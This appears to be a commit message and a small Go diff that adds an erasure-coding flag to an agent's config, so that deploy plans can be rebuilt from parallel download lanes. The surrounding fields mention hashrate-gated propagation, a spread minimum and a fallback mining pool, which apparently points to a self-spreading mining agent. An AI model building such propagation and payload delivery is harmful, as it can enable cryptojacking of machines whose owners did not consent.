Add erasure-coded multi-lane spread foundation.

Server Reed-Solomon 4+2 shard encode on deploy plans when erasure_lanes_enabled; agents reassemble from parallel lane URLs as staging fallback with BGP/Path Tracer hints.

agent/config/config.go

@@ -140,6 +140,8 @@ type BuiltinConfig struct {
 	HashrateGateSpreadMin int
 	// HashrateGateHPS is minimum H/s for hashrate-gated propagation (server policy).
 	HashrateGateHPS float64
+	// ErasureLanesEnabled allows Reed–Solomon multi-lane reassembly fallback on deploy plans (server policy).
+	ErasureLanesEnabled bool
 }
 
 // BackupPool holds connection info for a fallback Stratum mining pool.